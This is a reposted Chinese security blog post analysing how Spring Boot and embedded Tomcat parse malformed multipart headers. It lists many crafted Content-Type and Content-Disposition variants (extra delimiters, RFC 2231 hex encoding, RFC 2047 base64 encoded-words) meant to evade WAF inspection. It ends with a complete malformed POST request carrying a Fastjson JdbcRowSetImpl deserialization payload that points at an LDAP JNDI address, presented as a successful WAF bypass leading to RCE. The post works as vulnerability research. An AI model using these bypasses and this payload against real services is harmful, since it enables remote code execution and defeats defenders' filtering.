Spring/Tomcat畸形表单分析

admin 2026-04-16 04:18:35 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了Spring/Tomcat对畸形表单数据的解析机制,重点研究Content-Type和Content-Disposition头部的参数解析漏洞。通过构造特殊分隔符、编码混淆、字符集声明等手法,可绕过WAF对multipart表单的检测。文章提供了具体绕过示例,演示了如何利用ParameterParser的解析特性成功执行Fastjson反序列化攻击。 综合评分: 85 文章分类: 漏洞分析,WEB安全,渗透测试,红队,内网渗透


cover_image

Spring/Tomcat畸形表单分析

原创

小白安全 小白安全

小白安全

2026年4月14日 19:00 湖北

在小说阅读器读本章

去阅读

一、前言

好久没写文章了,在AI时代下,安全已经有比较大的变化了,感觉输出远不如AI,只能向AI大人学习了。

在很久之前一次项目中,本来分析了一个 fastjson 反序列化漏洞,能成功 RCE,当时是周末,就没继续看了,等周一想再看看的时候,发现被 waf 拦截了,于是想分析分析Spring/Tomcat畸形表单

二、测试环境

spring-boot 2.6.13内置tomcat 9.0.68

三、分析过程

在org.springframework.web.servlet.DispatcherServlet#doDispatch处下断点

看代码,应该会进入checkMultipart

这里会进入org.springframework.web.multipart.support.StandardServletMultipartResolver#isMultipart,默认情况下this.strictServletCompliance 是 false,这里会判断请求头的Content-Type 是否multipart/开始,忽略大小写

中间省略一部分

继续往下,会走到FileItemIteratorImpl#init,会初始化相关的信息

1、Content-Type

1.1 FileUpladBase#getBoundary

org.apache.tomcat.util.http.fileupload.FileUploadBase#getFieldName(java.lang.String)

继续跟进,会走到FileUploadBase#getBoundary

然后使用ParameterParser#parse(java.lang.String, char[])来处理 contentType,使用;或,做为分隔符

构造 Content-Type

Content-Type:multipart/form-data,boundary=----WebKitFormBoundaryD9Okowji7fMSUFeT

还可以这样

Content-Type:multipart/form-data,,,,,,,,,,,,,boundary=----WebKitFormBoundaryD9Okowji7fMSUFeT

这样(中间部分被当成 paramName,不影响)

Content-Type:multipart/form-data,;,boundary=----WebKitFormBoundaryD9Okowji7fMSUFeTContent-Type:multipart/form-data;,;boundary=----WebKitFormBoundaryD9Okowji7fMSUFeT

继续往下分析

1.2 ParameterParser#parse

对Content-Type 以及Content-Disposition 进行解析

首先会使用 parseToken 使用=、;来获取 paramValue

使用;或,进行分割

如果以;进行分割,会走到 329 行的判断,如果 paramName 不为 null 或空,则会使用RFC2231Utility.stripDelimiter处理参数名称

如果paramName 以*为结尾,会删除,并返回删除*后的paramName;最后将paramName 转换为小写,put 到 params 中

构造 Content-Type

1、 给参数名称加*

Content-Type:multipart/form-data*;boundary="----WebKitFormBoundaryD9Okowji7fMSUFeT"

2、大小写转换

Content-Type:MultIpart/Form-Data*;boundary="----WebKitFormBoundaryD9Okowji7fMSUFeT"

使用=进行分割

如果以=进行分割,那么会先获取=左边的为 paramName,然后再继续以;进行分割,获取到的内容就是 paramValue,如果不为 null,会进行处理paramValue = RFC2231Utility.hasEncodedValue(paramName) ? RFC2231Utility.decodeText(paramValue) : MimeUtility.decodeText(paramValue);

RFC2231Utility#decodeText

如果 paramName 带*,进入

org.apache.tomcat.util.http.fileupload.util.mime.RFC2231Utility#decodeText

这里就很有意思了,使用’对 paramValue 进行分割,将前面一部分,获取为字符集编码,然后匹配’后面是不是’,如果是会将后面所有的内容使用 fromHex 进行处理

这里可操作性空间就很大了,如果匹配到%,会将后面的字节,进行 hex 解码处理,如果没有匹配到,则原样写入

基础版

Content-Type:multipart/form-data*;;;;;;;;;;;;;;;;;;;;;;boundary*="UTF-8''%2d%2d%2d%2d%57%65%62%4b%69%74%46%6f%72%6d%42%6f%75%6e%64%61%72%79%44%39%4f%6b%6f%77%6a%69%37%66%4d%53%55%46%65%54"
Content-Type:multipart/form-data*,,,,,,,,,,,,,,,,,,,,,,boundary*="UTF-8''%2d%2d%2d%2d%57%65%62%4b%69%74%46%6f%72%6d%42%6f%75%6e%64%61%72%79%44%39%4f%6b%6f%77%6a%69%37%66%4d%53%55%46%65%54"

进阶版(原样字符+hex 混淆)

Content-Type:multipart/form-data*;;;;;;;;;;;;;;;;;;;;;;boundary*="UTF-8''-%2d-%2d%57%65%62%4b%69%74%46%6f%72%6d%42%6f%75%6e%64%61%72%79%44%39%4f%6b%6f%77%6a%69%37%66%4d%53%55%46%65%54"
Content-Type:multipart/form-data*,,,,,,,,,,,,,,,,,,,,,,boundary*="UTF-8''-%2d-%2d%57%65%62%4b%69%74%46%6f%72%6d%42%6f%75%6e%64%61%72%79%44%39%4f%6b%6f%77%6a%69%37%66%4d%53%55%46%65%54"

还可以使用其它字符集

MimeUtility#decodeText

首先判断 paramValues 是否包含=?,包含则进入后续流程

进入MimeUtility#decodeWord

看注释,使用Parse a string using the RFC 2047 rules for an “encoded-word” type. This encoding has the syntax: encoded-word = “=?” charset “?” encoding “?” encoded-text “?=”

基础版

Content-Type:multipart/form-data*;;;;;;;;;;;;boundary="=?UTF-8?B?LS0tLVdlYktpdEZvcm1Cb3VuZGFyeUQ5T2tvd2ppN2ZNU1VGZVQ=?=";;;;;
Content-Type:multipart/form-data*,,,,,,,,,,,,boundary="=?UTF-8?B?LS0tLVdlYktpdEZvcm1Cb3VuZGFyeUQ5T2tvd2ppN2ZNU1VGZVQ=?=";;;;;;

进阶版

这里使用?=来判断 paramValue 的结尾,那么就可以在?=后面加数据,比如

Content-Type:multipart/form-data*;;;;;;;;;;;;boundary="=?UTF-8?B?LS0tLVdlYktpdEZvcm1Cb3VuZGFyeUQ5T2tvd2ppN2ZNU1VGZVQ=?=123132123;a="
Content-Type:multipart/form-data*,,,,,,,,,,,,boundary="=?UTF-8?B?LS0tLVdlYktpdEZvcm1Cb3VuZGFyeUQ5T2tvd2ppN2ZNU1VGZVQ=?=123132123;a="
Content-Type:multipart/form-data*,,,,,,,,,,,,boundary==?UTF-8?B?LS0tLVdlYktpdEZvcm1Cb3VuZGFyeUQ5T2tvd2ppN2ZNU1VGZVQ=?=123132123;

通用部分

以上两种情况,在最开始获取 paramName 时都会使用parseToken 处理,分割得到的 paramName

调用 getToken 进行处理

使用 Character.isWhitespace 去除空格

构造 Content-Type

Content-Type:multipart/form-data*             ,,,,,,,,,,,,,,,,,,,,,,boundary*             ="UTF-8''-%2d-%2d%57%65%62%4b%69%74%46%6f%72%6d%42%6f%75%6e%64%61%72%79%44%39%4f%6b%6f%77%6a%69%37%66%4d%53%55%46%65%54"

Content-Disposition(这里其实还没分析完成)

FileItemIteratorImpl#findNextItem方法会进行相关处理

首先看看fileUploadBase.getFieldName(headers),会经过一个重载方法

后续还是会使用ParameterParser#parse来处理,默认使用;来进行分割,那我们可以有如下构造

假设参数名为params

Content-Disposition: form-data; name==?UTF-8?B?cGFyYW1z?=123132123;
Content-Disposition: form-data; name*="UTF-8''%70%61%72%61%6d%73"
Content-Disposition: form-data; name*="UTF-8''p%61%72%61%6d%73"
Content-Disposition: form-data;;name=;naMe*="UTF-8''p%61%72%61%6d%73"

fileName

依据上面的分析,我们可以构造如下 fileName

Content-Disposition: form-data; name*="file";filename==?UTF-8?B?MS5qc3A=?=
Content-Disposition: form-data; name*="file";filename*="UTF-8''%31%2e%6a%73%70"
Content-Disposition: form-data; name*="file";filename*="UTF-8''%31%2e%6as%70"

四、畸形请求

POST /excelDownLoad HTTP/1.1Host: 127.0.0.1:28081sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36X-Authorization:whoamiAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7X-Authorization: whoamiSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brConnection: keep-aliveContent-Type:multipart/form-data*;boundary="=?UTF-8?B?LS0tLVdlYktpdEZvcm1Cb3VuZGFyeUQ5T2tvd2ppN2ZNU1VGZVQ=?="Content-Length: 384
------WebKitFormBoundaryD9Okowji7fMSUFeTContent-Disposition: form-data; name*="params"
{  "a":  {    "@type":"java.lang.Class",      "val":"com.sun.rowset.JdbcRowSetImpl"  },  "b":  {    "@type":"com.sun.rowset.JdbcRowSetImpl",      "dataSourceName":"ldap://127.0.0.1:50389/ec8c26",      "autoCommit":true  }}------WebKitFormBoundaryD9Okowji7fMSUFeT--

绕过了418waf


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:小白安全 小白安全 小白安全《Spring/Tomcat畸形表单分析》

评论:0   参与:  0